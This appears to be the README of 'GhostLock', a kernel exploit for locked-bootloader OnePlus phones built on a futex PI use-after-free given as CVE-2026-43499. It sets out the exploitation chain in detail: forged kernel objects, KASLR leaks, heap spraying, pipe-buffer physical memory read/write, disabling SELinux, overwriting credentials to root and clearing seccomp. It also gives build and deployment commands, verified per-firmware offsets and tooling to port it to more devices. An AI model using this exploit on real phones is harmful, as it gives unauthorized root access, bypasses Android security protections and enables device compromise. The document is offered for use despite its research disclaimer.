
(CVE-2026-43499)内核漏洞利用程序,适用于未解锁 Bootloader 的一加设备。
Exploit noyau ciblant les appareils OnePlus avec bootloader verrouillé. Utilise CVE-2026-43499 pour obtenir un accès root sans déverrouiller le bootloader ni modifier boot.img.
Recherche en sécurité autorisée et usage éducatif uniquement.
| Élément | Détail |
|---|---|
| CVE | CVE-2026-43499 |
| Type | Futex PI (Héritage de priorité) Use-After-Free |
| Portée | Noyau Linux 2.6.39 ~ 7.1 |
| Corrigé dans | Mainline 7.1 (commit 3bfdc63936dd) |
| Statut Android | GKI 6.12.x toujours vulnérable |
L'appel système pselect6 copie fd_set sur la pile du noyau. Combiné au mécanisme d'attente futex PI, une trame de pile libérée peut être réallouée en tant que structure rt_mutex_waiter. Lors du parcours de la chaîne PI, le rééquilibrage de l'arbre rouge-noir écrit des données contrôlées à des adresses noyau arbitraires.
futex PI UAF (CVE-2026-43499)
├─ Forger un objet rt_mutex_waiter
├─ Contrôler la pile noyau via la disposition fd_set de pselect/select
├─ Déclencher une opération PI rt_mutex pour écriture arbitraire
├─ Écriture 1 : selinux_state.enforcing = 0
└─ Écriture 2 : cred → init_cred (uid=0, capacités complètes)
D'autres appareils OnePlus de la même famille SoC, Android 16 ou noyau 6.12.x peuvent être adaptés via l'extraction des offsets de boot.img.
GhostLock gère l'élévation de privilèges. L'installation de KernelSU nécessite ksud (fourni avec kernelsu.ko spécifique au KMI) :
| Source | Notes |
|---|---|
| APK ReSukiSU (recommandé) | Installer ReSukiSU ; l'APK inclut |
Sans ksud, l'exploit obtient toujours un shell root uid=0, mais KernelSU ne sera pas installé et
sune persistera pas.
ANDROID_NDK_HOME ou ANDROID_NDK_ROOT# Par défaut (API 35)
make
# Spécifier le niveau API
make API=34
# Spécifier le chemin NDK
NDK=/chemin/vers/android-ndk make
ghostlock — exécutable ARM64 ELF lié statiquement.
# 1. Activer le mode ADB TCP
adb tcpip 5555
# 2. Transférer la clé ADB (nécessaire pour le mode bootstrap)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Transférer l'exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
Après le premier succès,
resetpropdéfinit automatiquementpersist.adb.tcp.port=5555, permettant des exécutions entièrement automatiques lors des redémarrages suivants.
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop activer ADB TCP 5555127.0.0.1:5555/data/local/tmp/a/e --write1
Les offsets sont stockés dans src/devices/offsets.h sous forme de table de correspondance, indexée par uname -r. Le programme effectue la correspondance automatiquement au démarrage ; les noyaux inconnus sont rejetés.
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinelle */
};
Lorsque les pointeurs noyau sont restreints (kptr_restrict), divulguer l'adresse de base via boot_id écrasé avec une adresse noyau :
Lire /proc/sys/kernel/random/boot_id
└─ L'UUID contient l'adresse nfulnl_logger
└─ Décalage KASLR = adresse_fuite - image_offset
└─ kaslr_base
Lorsque le périphérique ashmem est accessible, utiliser les primitives de lecture/écriture configfs pour lire les pointeurs de fonction de la table fops ashmem et calculer le décalage KASLR.
Forger des objets noyau sur des pages d'ordre 3 (32 Ko) :
file_operations — détourner le pointeur fops du miscdevice ashmemrt_mutex_waiter — simuler un nœud d'attente dans la chaîne PItask_struct — référence de tâche pendant le parcours PIrt_mutex (verrou) — informations correctes waiter/ownerImplémenté via SKB (socket buffer) + KernelSnitch :
mm_structsendmsg pour remplir le tas noyauAprès avoir obtenu la base KASLR, utiliser les buffers de tube pour un accès mémoire au niveau physique :
1. Localiser le buffer de tube dans la physmap
2. Forger la table d'opérations pipe_buffer pointant vers pipe_buf_ops connue
3. Détourner pipe_buffer.page vers l'adresse physique cible
4. Lecture/écriture physique arbitraire via les opérations normales de tube
Supporté : pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data
Cible : selinux_state.enforcing (offset 0x00)
Méthode : écriture PI sur nœud enfant → forger __rb_parent_color du waiter
pointant vers selinux_enforcing - 8
le rééquilibrage rb-tree écrit 0x00
Cible : pointeur cred du processus enfant
Méthode : 1. fork enfant → perf_find_task() localiser task_struct
2. calculer l'offset du champ cred
3. écriture PI sur nœud enfant → cred = init_cred (uid=0, caps complètes)
4. effacer seccomp (TIF_SECCOMP + struct seccomp remis à zéro)
Une vérification de lecture des capacités est effectuée après l'écrasement de cred.
src/core/miniadb.c — client léger du protocole ADB pour le mode bootstrap :
1. Connexion TCP 127.0.0.1:5555
2. A_CNXN → demande de connexion
3. A_AUTH → défi de jeton RSA
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → réponse signée
6. A_CNXN → connexion établie
7. A_OPEN "shell:/data/local/tmp/a/e" → exploit complet
Supporte les algorithmes de signature SHA-1 et SHA-256.
ghostlock-oneplus/
├── Makefile # Configuration de compilation (cross-compilation NDK)
├── README.md # Documentation
├── src/
│ ├── core/ # Code principal de l'exploit
│ │ ├── main.c # Point d'entrée : écriture deux étapes + shell root
│ │ ├── fops.c # Mode FOPS/CFI : route pselect, écriture PI, fuite KASLR
│ │ ├── util.c # Utilitaires : arrosage tas, KASLR, primitives R/W noyau
│ │ ├── slide.c # Mode SLIDE : fuite KASLR boot_id + route pselect
│ │ ├── pipe.c # Lecture/écriture mémoire physique via buffer tube (physrw)
│ │ ├── root.c # Écrasement cred, effacement seccomp, gestion enfant root
│ │ ├── miniadb.c # Client ADB intégré (TCP + auth RSA)
│ │ ├── common.h # Macros globales, structs, déclarations, constantes
│ │ ├── target.h # Disposition mémoire cible / offsets struct / paramètres KASLR
│ │ ├── offset.h # Pont de configuration cible à la compilation (#include TARGET_CONFIG_H)
│ │ └── kernelsnitch/ # KernelSnitch — fuite d'adresse mm_struct
│ │ ├── kernelsnitch.h # Algorithme principal : collision de hachage futex + force brute
│ │ ├── futex_hash.h # Fonction de hachage futex
│ │ ├── timeutils.h # Mesure de timestamp CPU (RDTSC)
│ │ └── utils.h # Macros d'aide (pr_info / SYSCHK / ASSERT etc.)
│ └── devices/ # Tables d'offsets par appareil
│ ├── offsets.h # Agréger tous les offsets d'appareil (table de recherche + sentinelle)
│ ├── ace6t/offsets.h # Offsets OnePlus Ace 6T (2 versions de noyau)
│ └── op15/offsets.h # Offsets OnePlus 15 (1 version de noyau)
└── tools/ # Chaîne d'extraction d'offsets
├── extract_target.py # Extraire les offsets des symboles globaux kallsyms (28 éléments)
└── extract_btf.py # Extraire les offsets des champs de structs BTF (57 éléments)
Seul le fichier boot.img de l'appareil cible est nécessaire — pas de root, pas d'accès à l'appareil requis.
# 1. Extraire le noyau de boot.img
python -c "import struct; d=open('boot.img','rb').read(); \
open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Obtenir kallsyms (root : adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
# Ou à partir de vmlinux : nm vmlinux > kallsyms.txt
# 3. Extraire les offsets des symboles globaux
python tools/extract_target.py # 28 offsets, vérification automatique
# 4. Extraire les offsets des champs de structs
python tools/extract_btf.py kernel # 57 offsets, vérification automatique
src/devices/<nom>/offsets.h (voir ace6t/offsets.h)#include le dans src/devices/offsets.hsrc/core/target.h KIMAGE_TEXT_BASE et la disposition mémoire si nécessaireAssurez-vous d'exécuter dans un shell ADB. Le contexte application nécessite --bootstrap.
La version de votre noyau n'est pas encore supportée. Suivez Ajout de nouveaux appareils pour extraire les offsets et recompiler.
CORE)PSELECT_ENTER_DELAY_USECperf_event_open (utiliser --bootstrap en contexte application)kaslr_base valide)ksud existe et est exécutableload_policy)Recherche en sécurité autorisée et usage éducatif uniquement.
| Appareil | Nom de code | SoC | Noyau | Firmware | Statut |
|---|
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14275539-4k | ColorOS 16.0.2.403 | ✅ Vérifié |
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14552068-4k | ColorOS 16.0.8.301 | ✅ Vérifié |
| OnePlus 15 | PLK110 | SM8845 (Snapdragon 8s Elite) | 6.12.23-android16-5-...-ab14541642-4k | — | ✅ Vérifié |
libksud.so| Version CI | Télécharger depuis ReSukiSU CI (ksud-aarch64-linux-android.zip) |
| Type | Nombre | Extraction |
|---|
| Symboles globaux kallsyms | 28 | tools/extract_target.py |
| Champs de structs BTF | 57 | tools/extract_btf.py |
| Valeurs dérivées | 9 | Calcul automatique |
| Constantes fixes | 12 | Codées en dur |
| Struct | Champs | Objectif |
|---|
task_struct | 17 | Descripteur de processus, cred, seccomp |
rt_mutex_waiter | 6 | Cible de forgerie UAF |
cred | 4 | Identifiants, capacités |
seccomp | 3 | État du filtre seccomp |
pipe_inode_info | 11 | Opérations sur les buffers de tube |
file_operations | 13 | Table fops factice |
mm_struct | 1 | Propriétaire du descripteur mémoire |
| Module | Fichier(s) | Responsabilité |
|---|
| Entrée | main.c | Analyse CLI, répartition W1/W2, flux bootstrap |
| Route PI | fops.c / slide.c | Disposition de pile pselect/select, manipulation de chaîne futex PI |
| KASLR | util.c / fops.c / slide.c | Contournement double mode : fuite boot_id + fuite table fops |
| Arrosage tas | util.c | Allocation de pages ordre 3, arrosage SKB, disposition objet forgé |
| Lecture/écriture physique | pipe.c | Détournement de buffer tube, accès mémoire physique arbitraire |
| Élévation de privilèges | root.c | Écrasement cred, vérification des capacités, effacement seccomp |
| ADB | miniadb.c | Client léger du protocole ADB, auth RSA |
| Moteur de fuite | kernelsnitch/ | Collision de hachage futex pour localisation mm_struct |
| Élément | Notes |
|---|
VA_BITS | 48 vs 39 → mettre à jour la disposition mémoire dans target.h |
| Temporisation | Ajuster les paramètres PSELECT_* dans common.h |
| Ashmem | Implémentation C vs Rust → mettre à jour la correspondance de symboles dans extract_target.py |
| Secureguard | Les appareils non OnePlus peuvent simplifier le déploiement |